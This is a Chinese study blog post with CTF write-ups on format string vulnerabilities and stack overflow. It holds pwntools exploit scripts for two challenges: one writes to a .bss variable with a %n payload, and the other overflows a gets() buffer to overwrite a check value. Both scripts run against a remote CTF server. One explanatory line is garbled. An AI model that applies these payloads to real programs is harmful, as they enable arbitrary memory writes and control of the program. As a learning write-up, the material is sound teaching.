week4+5——pwn

1、格式化字符串漏洞

  • printf函数中的漏洞printf函数族是一个在C编程中比较常用的函数族。通常来说,我们会使用printf([格式化字符串],参数)的形式来进行调用

一般写为:printf("%d",s)
但有时为了省事会写成:printf(s)

这是一种非常危险的写法。由于printf函数族的设计缺陷,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作

  • 当输入printf可识别的格式化字符串时,printf会将其作为格式化字符串进行解析并输出。原理很简单,形如printf(“%s”,“Hello world”)的使用形式会把第一个参数%s作为格式化字符串参数进行解析,直接用printf输出一个变量,当变量也正好是格式化字符串时,自然就会被printf解析
  • 理论上我们可以通过叠加%x来获取有限范围内的栈数据。格式化字符串里有%s,用于输出字符。其本质上是读取对应的参数,并作为指针解析,获取到对应地址的字符串输出
  • 可以通过输入来操控栈,我们可以输入一个地址,再让%s正好对应到这个地址,从而输出地址指向的字符串,实现任意地址读
  • 格式化字符串可以使用一种特殊的表示形式来指定处理第n个参数,如输出第五个参数可以写为%4 s , 第 六 个 为 s,第六个为%5 ss,需要输出第n个参数就是%(n-1)$[格式化控制符]

虽然我们可以利用格式化字符串漏洞达到任意地址读,但是我们并不能直接通过读取来利用漏洞getshell,我们需要任意地址写——使用printf进行写入

  • printf有一个特殊的格式化控制符%n,和其他控制输出格式和内容的格式化字符不同的是,这个格式化字符会将已输出的字符数写入到对应参数的内存中

链:格式化字符串漏洞详解

题目1:

在这里插入图片描述

常用基本的格式化字符串参数介绍:
%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

在这里插入图片描述
对于这道题目来说
要利用格式化字符串漏洞修改变量pwnme的值为8,才能输出flag的内容

在这里插入图片描述

发现“pwnme"变量位于.bss段,也就是未手动初始化的数据,地址为0x0804A068

  • bss段(未手动初始化的数据)并不给该段的数据分配空间,只是记录数据所需空间的大小。
  • data(已手动初始化的数据)段则为数据分配空间,数据保存在目标文件中。

输入参数,name=aaaa,message=AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x
可以看到第11个参数是我们输入的AAAA(0x41)

同时结合前面pwnme的地址是0x0804A068
所以payload为
\x68\xa0\x04\x08+‘a’*4+%10$n

from pwn import *
context.log_level = 'debug'      //执行脚本时进行调试
conn = remote("111.198.29.45",41521)
pwnme = 0x0804A068
payload1 = 'aaaa'
payload2 = (p32(pwnme) + 'a'*4 + '%10$n')      //pwnme地址占4个字节,所以后面需要打印4个a
conn.recvuntil('please tell me your name:')
conn.sendline(payload1)
conn.recvuntil('leave your message please:') 
conn.sendline(payload2)
print(conn.recvall())

2、栈溢出

题目:

在这里插入图片描述
反编译得:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  char name; // [rsp+0h] [rbp-20h]
  unsigned int input_birth; // [rsp+8h] [rbp-18h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("What's Your Birth?");
  __isoc99_scanf("%d", &input_birth);
  while ( getchar() != 10 )
    ;
  if ( input_birth == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets((__int64)&name);                       // stack overflow here
    printf("You Are Born In %d\n", input_birth);
    if ( input_birth == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");
    }
    else
    {
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
    result = 0LL;
  }
  return result;
}

从上面的代码我们知道我们需要输入birth和name来校验,从system("cat flag")这一句来看,我们输入的birth要为1926,但是前面的判断又限制birth不能为1926。
可以看到gets(&name);这一句,gets函数以回车符号作为结束符来判断,于是我们就可以写入诸如'\x00'之类的不正常数据/不可见字符来达到我们的目的。
查看name与input_birth在栈上的距离:
在这里插入图片描述
name与input_birth相差了8个字节,而且input_birth的地址高于name,所以我们可以在第一次输入birth时输入非1926的数,然后在输入name时通过覆盖input_birth地址处的内容为1926来使得判断input_birth == 1926成立。

脚本:

from pwn import *

p = remote('111.198.29.45',40612)
birth = "2000"
name = "aaaaaaaa"+ p32(0x00000786)
p.recvuntil("What's Your Birth?")
p.sendline(birth)
p.recvuntil("What's Your Name?")
p.sendline(name)
print p.recv()
print p.recv()
print p.recv()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值